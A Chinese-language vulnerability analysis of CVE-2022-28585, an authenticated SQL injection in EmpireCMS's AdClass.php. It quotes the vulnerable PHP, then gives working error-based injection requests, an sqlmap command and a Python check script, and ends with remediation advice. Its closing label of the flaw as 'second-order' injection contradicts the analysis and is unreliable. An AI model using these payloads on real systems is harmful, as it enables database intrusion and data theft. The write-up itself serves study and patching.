CVE-2022-28585 SQL注入漏洞分析
字数 762 2025-08-12 11:34:09

EmpireCMS SQL注入漏洞(CVE-2022-28585)分析与利用

漏洞概述

CVE-2022-28585是EmpireCMS(帝国CMS)中存在的一个SQL注入漏洞,影响版本为7.5及以下。该漏洞存在于后台管理模块中,允许经过身份验证的攻击者通过精心构造的请求执行任意SQL命令。

漏洞位置

漏洞位于/e/admin/ad/AdClass.php文件中的两个函数:

  1. AddAdClass()函数 - INSERT型SQL注入
  2. EditAdClass()函数 - UPDATE型SQL注入

漏洞分析

代码结构

$enews=$_POST['enews'];
if(empty($enews)){$enews=$_GET['enews'];}
if($enews=="AddAdClass"){
    // 增加广告类别
    $add=$_POST['add'];
    AddAdClass($add,$logininid,$loginin);
}elseif($enews=="EditAdClass"){
    // 修改广告类别
    $add=$_POST['add'];
    EditAdClass($add,$logininid,$loginin);
}

AddAdClass()函数分析

function AddAdClass($add,$userid,$username){
    global $empire,$dbtbpre;
    if(!$add[classname]){
        printerror("EmptyAdClassname","history.go(-1)");
    }
    // 验证权限
    CheckLevel($userid,$username,$classid,"ad");
    $sql=$empire->query("insert into {$dbtbpre}enewsadclass(classname) values('$add[classname]');");
    // 后续代码...
}

漏洞点

  • 直接拼接用户输入的$add[classname]到SQL语句中
  • 未对输入进行任何过滤或转义

EditAdClass()函数分析

function EditAdClass($add,$userid,$username){
    global $empire,$dbtbpre;
    $add[classid]=(int)$add[classid];
    if(!$add[classname]||!$add[classid]){
        printerror("EmptyAdClassname","history.go(-1)");
    }
    // 验证权限
    CheckLevel($userid,$username,$classid,"ad");
    $sql=$empire->query("update {$dbtbpre}enewsadclass set classname='$add[classname]' where classid='$add[classid]'");
    // 后续代码...
}

漏洞点

  • 虽然classid进行了(int)强制转换,但classname仍然直接拼接
  • 未对classname参数进行过滤

漏洞利用

利用前提

  • 需要后台管理员权限
  • 需要能够访问/e/admin/ad/AdClass.php

手动利用示例

  1. UPDATE型注入(EditAdClass)
POST /e/admin/ad/AdClass.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

enews=EditAdClass&add[classid]=1&add[classname]=test' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
  1. INSERT型注入(AddAdClass)
POST /e/admin/ad/AdClass.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

enews=AddAdClass&add[classname]=test' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

SQLmap自动化利用

  1. 保存请求为txt文件(如req.txt):
POST /e/admin/ad/AdClass.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=xxx
Content-Type: application/x-www-form-urlencoded

enews=EditAdClass&add[classid]=1&add[classname]=test
  1. 执行SQLmap:
sqlmap -r req.txt -p "add[classname]" --dbms=mysql --level=5 --risk=3

修复建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用预处理语句(PDO)替代直接拼接SQL
  3. 最小权限原则,限制数据库用户权限
  4. 升级到最新版本EmpireCMS

漏洞验证

验证脚本示例(Python):

import requests

def check_vuln(url, cookie):
    headers = {
        'Cookie': cookie,
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    data = {
        'enews': 'EditAdClass',
        'add[classid]': '1',
        'add[classname]': "test' AND 1=1 AND '1'='1"
    }
    try:
        r = requests.post(url + '/e/admin/ad/AdClass.php', headers=headers, data=data)
        if 'EditAdClassSuccess' in r.text:
            return True
    except:
        pass
    return False

总结

CVE-2022-28585是一个典型的二次注入漏洞,虽然需要后台权限才能利用,但仍然可能造成严重危害。开发人员应始终遵循安全编码实践,对所有用户输入进行严格验证和过滤。

EmpireCMS SQL注入漏洞(CVE-2022-28585)分析与利用 漏洞概述 CVE-2022-28585是EmpireCMS(帝国CMS)中存在的一个SQL注入漏洞,影响版本为7.5及以下。该漏洞存在于后台管理模块中,允许经过身份验证的攻击者通过精心构造的请求执行任意SQL命令。 漏洞位置 漏洞位于 /e/admin/ad/AdClass.php 文件中的两个函数: AddAdClass() 函数 - INSERT型SQL注入 EditAdClass() 函数 - UPDATE型SQL注入 漏洞分析 代码结构 AddAdClass()函数分析 漏洞点 : 直接拼接用户输入的 $add[classname] 到SQL语句中 未对输入进行任何过滤或转义 EditAdClass()函数分析 漏洞点 : 虽然 classid 进行了(int)强制转换,但 classname 仍然直接拼接 未对 classname 参数进行过滤 漏洞利用 利用前提 需要后台管理员权限 需要能够访问 /e/admin/ad/AdClass.php 手动利用示例 UPDATE型注入(EditAdClass) : INSERT型注入(AddAdClass) : SQLmap自动化利用 保存请求为txt文件(如req.txt): 执行SQLmap: 修复建议 对所有用户输入进行严格的过滤和转义 使用预处理语句(PDO)替代直接拼接SQL 最小权限原则,限制数据库用户权限 升级到最新版本EmpireCMS 漏洞验证 验证脚本示例(Python): 总结 CVE-2022-28585是一个典型的二次注入漏洞,虽然需要后台权限才能利用,但仍然可能造成严重危害。开发人员应始终遵循安全编码实践,对所有用户输入进行严格验证和过滤。